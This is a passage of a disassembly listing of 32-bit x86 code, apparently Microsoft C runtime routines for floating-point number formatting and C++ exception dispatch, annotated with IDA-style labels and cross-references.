; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_43B8E8
		fistp	[ebp+arg_0]
		wait

loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_43B8E8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_43B8F4
		fstp	[ebp+var_8]
		wait

loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2720D85h
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF

loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------

loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883

loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_4397B0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4397B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5

loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9

loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916

loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------

loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax

loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax

loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_43B910o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_48A084, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_48A080
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------

loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h

loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4397B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_48A084, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h

loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl

loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_48A084, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_48A088
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_48A080
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------

loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h

loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------

loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax

loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_4397B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_48A084, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------

loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35

loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi

loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h

loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_48A080, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_48A088, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_48A080
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_48A088, ecx
		setl	cl
		mov	byte_48A08C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_48A088, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6

loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al

loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------

loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h

loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_48A084, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_48A084, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_48A084, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_48A084, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------

loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D

loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi

loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552

loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------

loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------

loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h

loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax

loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A

loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552

loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_48A090
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_48A094
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552

loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552

loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax

loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E

loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B

loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C

loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------

loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]

loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------

loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx

loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------

loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_48A098, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90

loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax

loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88

loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------

loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
